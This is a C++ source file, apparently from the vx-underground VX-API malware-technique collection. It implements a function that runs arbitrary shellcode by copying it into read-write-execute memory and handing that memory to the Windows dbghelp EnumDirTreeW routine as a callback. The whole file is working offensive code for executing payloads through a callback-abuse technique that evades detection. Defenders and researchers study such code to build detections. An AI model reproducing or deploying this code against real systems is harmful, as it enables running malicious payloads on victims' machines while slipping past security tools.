Files
vxunderground-VX-API/VX-API/ShellcodeExecViaEnumDirTreeW.cpp
T
2022-10-25 21:28:31 -05:00

55 lines
1.6 KiB
C++

#include "Win32Helper.h"
DWORD UnusedSubroutineDisposeableThreadEnumDirTreeW(LPVOID Param)
{
PSHELLCODE_EXECUTION_INFORMATION Sei = (PSHELLCODE_EXECUTION_INFORMATION)Param;
SYMINITIALIZEW SymInitialize = NULL;
SYMCLEANUP SymCleanup = NULL;
ENUMDIRTREEW EnumDirTree = NULL;
LPVOID BinAddress = NULL;
BOOL bFlag = FALSE;
HMODULE hModule = NULL;
WCHAR DisposeableBuffer[512] = { 0 };
hModule = TryLoadDllMultiMethodW((PWCHAR)L"dbghelp.dll");
if (hModule == NULL)
goto EXIT_ROUTINE;
SymInitialize = (SYMINITIALIZEW)GetProcAddressA((DWORD64)hModule, "SymInitializeW");
SymCleanup = (SYMCLEANUP)GetProcAddressA((DWORD64)hModule, "SymCleanup");
EnumDirTree = (ENUMDIRTREEW)GetProcAddressA((DWORD64)hModule, "EnumDirTreeW");
if (!SymInitialize || !SymCleanup || !EnumDirTree)
goto EXIT_ROUTINE;
if (!SymInitialize(InlineGetCurrentProcess, NULL, TRUE))
goto EXIT_ROUTINE;
BinAddress = VirtualAlloc(NULL, Sei->dwLengthOfPayloadInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
goto EXIT_ROUTINE;
CopyMemoryEx(BinAddress, Sei->Payload, Sei->dwLengthOfPayloadInBytes);
EnumDirTree(InlineGetCurrentProcess, L"C:\\Windows", L"*.log", DisposeableBuffer, BinAddress, NULL);
SymCleanup(InlineGetCurrentProcess);
bFlag = TRUE;
EXIT_ROUTINE:
if (hModule)
FreeLibrary(hModule);
if (BinAddress)
VirtualFree(BinAddress, 0, MEM_RELEASE);
return (bFlag ? 0 : 0xffffffff);
}
BOOL ShellcodeExecViaEnumDirTreeW(_In_ PSHELLCODE_EXECUTION_INFORMATION Sei)
{
return CreateThreadAndWaitForCompletion(UnusedSubroutineDisposeableThreadEnumDirTreeW, Sei, INFINITE);
}